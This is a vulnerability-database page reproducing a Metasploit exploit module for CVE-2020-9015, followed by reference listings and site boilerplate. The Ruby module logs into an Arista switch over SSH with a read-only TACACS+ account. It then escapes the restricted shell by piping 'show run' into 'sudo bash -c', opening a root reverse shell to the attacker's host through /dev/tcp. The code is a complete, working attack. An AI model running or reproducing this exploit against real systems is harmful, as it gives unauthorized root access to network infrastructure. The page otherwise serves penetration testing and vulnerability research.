Lucene search
K

Arista Restricted Shell Escape / Privilege Escalation Exploit

🗓️ 16 Jun 2020 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 116 Views

Arista restricted shell escape (with privesc) exploit. Takes advantage of a poorly configured TACACS+ config, Arista's bash shell and TACACS+ read-only account to privilege escalate

Related
Code
ReporterTitlePublishedViews
Family
0daydb
Arista Restricted Shell Escape - Privilege Escalation
21 Jun 202009:00
0daydb
Circl
CVE-2020-9015
16 Jun 202012:00
circl
CVE
CVE-2020-9015
20 Feb 202021:39
cve
Cvelist
CVE-2020-9015
20 Feb 202021:39
cvelist
Metasploit
Arista restricted shell escape (with privesc)
21 Apr 202019:21
metasploit
NVD
CVE-2020-9015
20 Feb 202022:15
nvd
OSV
CVE-2020-9015
20 Feb 202022:15
osv
Packet Storm
Arista Restricted Shell Escape / Privilege Escalation
16 Jun 202000:00
packetstorm
Prion
Design/Logic Flaw
20 Feb 202022:15
prion
Positive Technologies
PT-2020-20430 · Arista · Arista Dcs-7050Cx3-32S-R +2
20 Feb 202000:00
ptsecurity
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'
require 'net/ssh/command_stream'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::SSH
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Arista restricted shell escape (with privesc)',
        'Description' => %q{
          This exploit module takes advantage of a poorly configured TACACS+ config,
          Arista's bash shell and TACACS+ read-only account to privilage escalate.
          A CVSS v3 base score of 9.8 has been assigned.
        },
        'License' => MSF_LICENSE,
        'Author' => ['Chris Anders'],
        'References' =>
        [
          [ 'CVE', '2020-9015'],
          [ 'URL', 'http://www.securitybytes.me/posts/cve-2020-9015/'],
          [ 'URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9015' ],
          [ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2020-9015' ],
        ],
        'Arch' => ARCH_X86,
        'ConnectionType' => 'find',
        'DefaultTarget' => 0,
        'DefaultOptions' =>
        {
          'Payload' => 'linux/x86/shell_reverse_tcp'
        },
        'DisclosureDate' => 'Feb 02 2020',
        'Platform' => 'linux',
        'PayloadType' => 'cmd_interact',
        'Privileged' => true,
        'Targets' => [ [ 'Universal', {} ] ]
      )
    )

    register_options(
      [
        Opt::RPORT(22),
        OptString.new('USERNAME', [true, 'Username to login with', '']),
        OptString.new('PASSWORD', [true, 'Password to login with', '']),
      ]
    )

    register_advanced_options(
      [
        Opt::Proxies,
        OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30]),
        OptBool.new('GatherProof', [true, 'Gather proof of access via pre-session shell commands', false])
      ]
    )
  end

  def check
    factory = ssh_socket_factory
    opts = {
      auth_methods: ['password', 'keyboard-interactive'],
      port: rport,
      use_agent: false,
      config: false,
      password: password,
      proxy: factory,
      non_interactive: true,
      verify_host_key: :never
    }

    begin
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        Net::SSH.start(rhost, username, opts)
      end
    rescue Rex::ConnectionError
      return CheckCode::Safe
    rescue Net::SSH::Disconnect, ::EOFError
      return CheckCode::Safe
    rescue Timeout::Error
      return CheckCode::Safe
    rescue Net::SSH::AuthenticationFailed
      return CheckCode::Safe
    rescue Net::SSH::Exception
      return CheckCode::Safe
    end

    CheckCode::Detected

  end

  def rhost
    datastore['RHOST']
  end

  def rport
    datastore['RPORT']
  end

  def lport
    datastore['LPORT']
  end

  def lhost
    datastore['LHOST']
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def exploit
    factory = ssh_socket_factory

    opts = {
      auth_methods: ['password', 'keyboard-interactive'],
      port: rport,
      use_agent: false,
      config: false,
      password: password,
      proxy: factory,
      non_interactive: true,
      verify_host_key: :never
    }

    opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

    print_status("#{rhost}:#{rport} - Attempt to login to the Arista's restricted shell...")

    begin
      ssh = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh = Net::SSH.start(rhost, username, opts)
      end
    rescue Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use")
    rescue Net::SSH::Disconnect, ::EOFError
      fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")
    rescue ::Timeout::Error
      fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
    rescue Net::SSH::AuthenticationFailed
      fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Failed authentication")
    rescue Net::SSH::Exception => e
      fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}")
    end

    fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH session couldn't be established") unless ssh
    begin
      payload_executed = false
      print_good('SSH connection established.')

      ssh.open_channel do |channel, _data|
        print_status('Requesting pty rbash')

        channel.request_pty do |ch, success|
          fail_with(Failure::Unreachable, "#{rhost}:#{rport} Could not request a PTY!") unless success
          print_good('PTY successfully obtained.')

          print_status('Requesting a shell.')
          ch.send_channel_request('shell') do |cha, _succ|
            fail_with(Failure::Unreachable, "#{rhost}:#{rport} Could not open rbash shell!") unless success
            print_good('Spawned into arista rbash shell.')

            cha.on_data do |_xx, data2|
              if data2.include? '#'
                if !payload_executed
                  print_status('Attempting to break out of Arista rbash...')
                  channel.send_data("show run | grep '' | sudo bash -c 'bash -i >& /dev/tcp/#{lhost}/#{lport} 0>&1 2>&1 &'\n")
                  payload_executed = true
                  print_good('Escaped from rbash!')
                end
              end
            end
          end
        end
      end
      ssh.loop unless session_created?
    rescue Errno::EBADF => e
      elog(e.message)
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jun 2020 00:00Current
0.7Low risk
Vulners AI Score0.7
CVSS 27.5
CVSS 3.19.8
EPSS0.78409
116